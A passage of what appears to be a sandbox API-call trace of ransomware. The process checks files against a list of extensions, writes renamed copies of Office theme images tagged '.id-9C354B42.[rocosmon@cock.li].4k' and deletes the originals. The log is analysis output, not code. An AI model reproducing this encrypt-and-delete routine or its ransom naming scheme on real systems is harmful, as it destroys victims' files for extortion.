	[0102.268] lstrlenW (lpString=".jpg") returned 4
	[0102.268] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0102.268] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.268] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.418] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=19780) returned 1
	[0102.418] CloseHandle (hObject=0x1ac) returned 1
	[0102.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20
	[0102.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.418] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.418] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.419] GetLastError () returned 0x0
	[0102.419] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x4d44, lpOverlapped=0x0) returned 1
	[0102.462] WriteFile (in: hFile=0x1d0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4d50, lpOverlapped=0x0) returned 1
	[0102.463] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.463] WriteFile (in: hFile=0x1d0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.463] SetEndOfFile (hFile=0x1d0) returned 1
	[0102.463] CloseHandle (hObject=0x1d0) returned 1
	[0102.463] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.463] SetEndOfFile (hFile=0x1ac) returned 1
	[0102.464] CloseHandle (hObject=0x1ac) returned 1
	[0102.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1
	[0102.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.465] lstrlenW (lpString=".doc") returned 4
	[0102.465] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.465] lstrlenW (lpString=".docx") returned 5
	[0102.465] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.465] lstrlenW (lpString=".pdf") returned 4
	[0102.465] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.465] lstrlenW (lpString=".xls") returned 4
	[0102.465] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.465] lstrlenW (lpString=".xlsx") returned 5
	[0102.465] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.465] lstrlenW (lpString=".ppt") returned 4
	[0102.465] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.465] lstrlenW (lpString=".zip") returned 4
	[0102.465] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.465] lstrlenW (lpString=".rar") returned 4
	[0102.465] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.465] lstrlenW (lpString=".bz2") returned 4
	[0102.465] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.465] lstrlenW (lpString=".7z") returned 3
	[0102.465] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.465] lstrlenW (lpString=".dbf") returned 4
	[0102.465] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.465] lstrlenW (lpString=".1cd") returned 4
	[0102.466] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.466] lstrlenW (lpString=".jpg") returned 4
	[0102.466] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.466] lstrlenW (lpString=".doc") returned 4
	[0102.466] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.466] lstrlenW (lpString=".docx") returned 5
	[0102.466] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.466] lstrlenW (lpString=".pdf") returned 4
	[0102.466] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.466] lstrlenW (lpString=".xls") returned 4
	[0102.466] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.466] lstrlenW (lpString=".xlsx") returned 5
	[0102.466] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.466] lstrlenW (lpString=".ppt") returned 4
	[0102.466] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.466] lstrlenW (lpString=".zip") returned 4
	[0102.466] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.466] lstrlenW (lpString=".rar") returned 4
	[0102.466] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.466] lstrlenW (lpString=".bz2") returned 4
	[0102.467] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.467] lstrlenW (lpString=".7z") returned 3
	[0102.467] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.467] lstrlenW (lpString=".dbf") returned 4
	[0102.467] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.467] lstrlenW (lpString=".1cd") returned 4
	[0102.467] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0102.467] lstrlenW (lpString=".jpg") returned 4
	[0102.467] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.467] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.467] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.468] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1560) returned 1
	[0102.468] CloseHandle (hObject=0x1ac) returned 1
	[0102.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20
	[0102.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.468] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.468] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0102.475] GetLastError () returned 0x0
	[0102.475] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x618, lpOverlapped=0x0) returned 1
	[0102.682] WriteFile (in: hFile=0x218, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x620, lpOverlapped=0x0) returned 1
	[0102.683] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.683] WriteFile (in: hFile=0x218, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.683] SetEndOfFile (hFile=0x218) returned 1
	[0102.683] CloseHandle (hObject=0x218) returned 1
	[0102.683] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.683] SetEndOfFile (hFile=0x1ac) returned 1
	[0102.684] CloseHandle (hObject=0x1ac) returned 1
	[0102.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.684] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1
	[0102.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.684] lstrlenW (lpString=".doc") returned 4
	[0102.684] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.684] lstrlenW (lpString=".docx") returned 5
	[0102.684] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.685] lstrlenW (lpString=".pdf") returned 4
	[0102.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.685] lstrlenW (lpString=".xls") returned 4
	[0102.685] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.685] lstrlenW (lpString=".xlsx") returned 5
	[0102.685] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.685] lstrlenW (lpString=".ppt") returned 4
	[0102.685] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.685] lstrlenW (lpString=".zip") returned 4
	[0102.685] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.685] lstrlenW (lpString=".rar") returned 4
	[0102.685] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.685] lstrlenW (lpString=".bz2") returned 4
	[0102.685] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.685] lstrlenW (lpString=".7z") returned 3
	[0102.685] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.685] lstrlenW (lpString=".dbf") returned 4
	[0102.685] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.685] lstrlenW (lpString=".1cd") returned 4
	[0102.685] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.685] lstrlenW (lpString=".jpg") returned 4
	[0102.685] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.685] lstrlenW (lpString=".doc") returned 4
	[0102.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.685] lstrlenW (lpString=".docx") returned 5
	[0102.685] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.685] lstrlenW (lpString=".pdf") returned 4
	[0102.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.686] lstrlenW (lpString=".xls") returned 4
	[0102.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.686] lstrlenW (lpString=".xlsx") returned 5
	[0102.686] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.686] lstrlenW (lpString=".ppt") returned 4
	[0102.686] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.686] lstrlenW (lpString=".zip") returned 4
	[0102.686] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.686] lstrlenW (lpString=".rar") returned 4
	[0102.686] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.686] lstrlenW (lpString=".bz2") returned 4
	[0102.686] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.686] lstrlenW (lpString=".7z") returned 3
	[0102.686] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.686] lstrlenW (lpString=".dbf") returned 4
	[0102.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.686] lstrlenW (lpString=".1cd") returned 4
	[0102.686] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0102.686] lstrlenW (lpString=".jpg") returned 4
	[0102.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.686] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.686] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.687] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=945) returned 1
	[0102.687] CloseHandle (hObject=0x1ac) returned 1
	[0102.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20
	[0102.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.688] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.688] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.697] GetLastError () returned 0x0
	[0102.697] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x3b1, lpOverlapped=0x0) returned 1
	[0102.824] WriteFile (in: hFile=0x1f0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3c0, lpOverlapped=0x0) returned 1
	[0102.827] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.827] WriteFile (in: hFile=0x1f0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.827] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.827] CloseHandle (hObject=0x1f0) returned 1
	[0102.827] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.828] SetEndOfFile (hFile=0x1ac) returned 1
	[0102.828] CloseHandle (hObject=0x1ac) returned 1
	[0102.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.829] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1
	[0102.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.829] lstrlenW (lpString=".doc") returned 4
	[0102.829] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.829] lstrlenW (lpString=".docx") returned 5
	[0102.829] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.829] lstrlenW (lpString=".pdf") returned 4
	[0102.829] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.829] lstrlenW (lpString=".xls") returned 4
	[0102.829] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.829] lstrlenW (lpString=".xlsx") returned 5
	[0102.829] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.829] lstrlenW (lpString=".ppt") returned 4
	[0102.829] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.830] lstrlenW (lpString=".zip") returned 4
	[0102.830] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.830] lstrlenW (lpString=".rar") returned 4
	[0102.830] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.830] lstrlenW (lpString=".bz2") returned 4
	[0102.830] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.830] lstrlenW (lpString=".7z") returned 3
	[0102.830] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.830] lstrlenW (lpString=".dbf") returned 4
	[0102.830] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.830] lstrlenW (lpString=".1cd") returned 4
	[0102.830] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.830] lstrlenW (lpString=".jpg") returned 4
	[0102.830] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.830] lstrlenW (lpString=".doc") returned 4
	[0102.830] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.830] lstrlenW (lpString=".docx") returned 5
	[0102.830] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.830] lstrlenW (lpString=".pdf") returned 4
	[0102.830] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.830] lstrlenW (lpString=".xls") returned 4
	[0102.830] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.831] lstrlenW (lpString=".xlsx") returned 5
	[0102.831] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.831] lstrlenW (lpString=".ppt") returned 4
	[0102.831] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.831] lstrlenW (lpString=".zip") returned 4
	[0102.831] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.831] lstrlenW (lpString=".rar") returned 4
	[0102.831] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.831] lstrlenW (lpString=".bz2") returned 4
	[0102.831] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.831] lstrlenW (lpString=".7z") returned 3
	[0102.831] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
